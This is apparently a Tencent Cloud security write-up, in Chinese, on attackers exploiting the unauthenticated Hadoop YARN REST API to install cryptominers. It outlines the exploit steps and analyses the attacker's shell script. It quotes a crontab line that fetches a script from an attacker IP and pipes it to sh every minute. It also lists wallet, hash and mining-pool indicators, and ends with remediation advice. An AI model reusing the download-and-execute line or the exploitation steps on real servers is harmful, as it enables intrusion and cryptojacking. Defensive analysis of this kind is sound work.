1. 程式人生 > >Hadoop Yarn REST API未授權漏洞利用挖礦分析

Hadoop Yarn REST API未授權漏洞利用挖礦分析

歡迎大家前往騰訊雲+社群,獲取更多騰訊海量技術實踐乾貨哦~

一、背景情況

5月5日騰訊雲安全曾針對攻擊者利用Hadoop Yarn資源管理系統REST API未授權漏洞對伺服器進行攻擊,攻擊者可以在未授權的情況下遠端執行程式碼的安全問題進行預警,在預警的前後我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析並提供響應的安全建議和解決方案。

二、 漏洞說明

Hadoop是一個由Apache基金會所開發的分散式系統基礎架構,YARN是hadoop系統上的資源統一管理平臺,其主要作用是實現叢集資源的統一管理和排程,可以把MapReduce計算框架作為一個應用程式執行在YARN系統之上,通過YARN來管理資源。簡單的說,使用者可以向YARN提交特定應用程式進行執行,其中就允許執行相關包含系統命令。

YARN提供有預設開放在8088和8090的REST API(預設前者)允許使用者直接通過API進行相關的應用建立、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何黑客則就均可利用其進行遠端命令執行,從而進行挖礦等行為。

攻擊步驟:

  1. 申請新的application

直接通過curl進行POST請求

curl -v -X POST

返回內容類似於:

img

  1. 構造並提交任務

構造json檔案1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下建立11112222_test_111122222檔案,內容也為111:

img

然後直接

curl -s -i -X POST -H ‘Accept: application/json’ -H ‘Content-Type:application/json’

即可完成攻擊,命令被執行,在相應目錄下可以看到生成了對應檔案

img

更多漏洞詳情可以參考

三、入侵分析

在本次分析的案例中,受害機器部署有Hadoop YARN,並且存在未授權訪問的安全問題,黑客直接利用開放在8088的REST API提交執行命令,來實現在伺服器內下載執行.sh指令碼,從而再進一步下載啟動挖礦程式達到挖礦的目的。

img

整個利用過程相對比較簡單,通過捕捉Hadoop 的launch_container.sh執行指令碼,我們可以看到其中一個案例中相關任務執行的命令:

img

可以很明顯的看到第8行位置,從185.222.210.59下載並執行了一個名為x_wcr.sh的指令碼。

在實際過程中,我們從多個案例捕獲了多個比如名為cr.sh的不同指令碼,但實際的功能程式碼都差不多,我們對其中一個x_wcr.sh指令碼進行分析,程式碼自上而下內容:

img

這部分程式碼主要針對已存在的挖礦程序、檔案進行清理。

img

這部分的程式碼主要是判斷如果/tmp/java是一個存在並且可寫的檔案,那麼就判斷其MD5值是否匹配,MD5不匹配則根據w.conf關鍵詞查詢並kill程序;如果非可寫的檔案,則重新賦值DIR變數,這個變數主要用於後面部分程式碼中下載挖礦等程式存放目錄。

img

然後接著是一些變數的賦值,包括再次判斷如果/tmp/java是一個目錄,則重新賦值DIR變數;判斷curl和wget命令是否存在,存在則賦值到WGET變數;f2則是賦值為某個IP,實則為是後續下載相關檔案的伺服器之一。

img

這部分程式碼是其中比較核心的程式碼,通過downloadIfNeed方法下載挖礦程式到DIR目錄下並重命名為java,下載w.conf配置檔案,給挖礦程式增加執行許可權,然後以nohup命令後臺執行挖礦程式並刪除配置檔案;接著檢查crontab中的任務,如果不存在對應的任務,就將下載執行指令碼的任務"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"新增到其中,這裡LDRwget -q -O -或者curl,任務每分鐘執行一次。

指令碼中還包含了幾個巢狀呼叫的download方法,入口方法是downloadIfNeed:

img

img

這個方法的核心功能還是校驗已存在的挖礦程式的MD5,如果無法驗證或者檔案不存在的情況,則直接呼叫download方法下載挖礦程式;如果檔案存在但MD5匹配不正確,則呼叫download方法後再次驗證,驗證失敗則嘗試從另外一個下載渠道https://transfer.sh/WoGXx/zzz下載挖礦程式並再次驗證。最後還將相關結果上報到目標伺服器$f2的re.php.

tmp.txt內容示例:

img

img

download方法判斷ppc檔案的存在與否和 MD5是否匹配,如果不存在或MD5不匹配則呼叫download2下載,如果存在則複製重名為java。

img

download2方法則判斷系統下載對應版本的挖礦程式,其中http://185.222.210.59/g.php返回的是另外一個IP地址;下載成功後則再次驗證,並複製重新命名為ppc。

img

在指令碼的最後部分還有一些程序、檔案、crontab清理的處理,用pkill刪除滿足條件的程序,刪除tmp目錄下pscd開頭的檔案,以及說刪除crontab中存在某些關鍵詞的任務。

至此,我們完成整個指令碼的分析,雖然整個指令碼比較冗長,而且似乎各個函式巢狀呼叫,涉及檔案也眾多,但其實整體就做了以下幾件事:

1.清理相關的程序、檔案和crontab任務

2.判斷並下載挖礦程式,同時校驗MD5值,除了黑客自己控制的伺服器,還利用https://transfer.sh提供備用下載,多種方式保障

3.增加指令碼下載執行任務新增到crontab裡

其實,我們通過檢視YARN的日誌檔案

yarn-root-nodemanager-master.hadoop.log

也可能看到相應的痕跡:

img

img

或者我們通過管理UI檢視application詳情:

img

而crontab的任務日誌也能看到相關的執行記錄:

img

最終在/var/tmp目錄下也能找到相關的檔案

img

四、安全建議

清理病毒

1.使用top檢視程序,kill掉異常程序

2.檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常檔案

3.檢查crontab任務列表,刪除異常任務

4.排查YARN日誌,確認異常的application,刪除處理

安全加固

1.通過iptables或者安全組配置訪問策略,限制對8088等埠的訪問

2.如無必要,不要將介面開放在公網,改為本地或者內網呼叫

3.升級Hadoop到2.x版本以上,並啟用Kerberos認證功能,禁止匿名訪問

4.雲鏡當前已支援該漏洞檢測,同時也支援挖礦木馬的發現,建議安裝雲鏡並開通專業版,及時發現漏洞並修復或者在中馬後能及時收到提醒進行止損

5.更多自檢和修復建議可以參考

五、IOCs

錢包地址

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5

1.c8c1f2da51fbd0aea60e11a81236c9dc

2.183664ceb9c4d7179d5345249f1ee0c4

3.b00f4bbd82d2f5ec7c8152625684f853

礦池地址

1.158.69.133.20:3333

2.192.99.142.249:3333

3.202.144.193.110:3333

4.46.30.43.159:80

部分相關URL

歡迎大家前往騰訊雲+社群或關注雲加社群微信公眾號(QcloudCommunity),第一時間獲取更多海量技術實踐乾貨哦~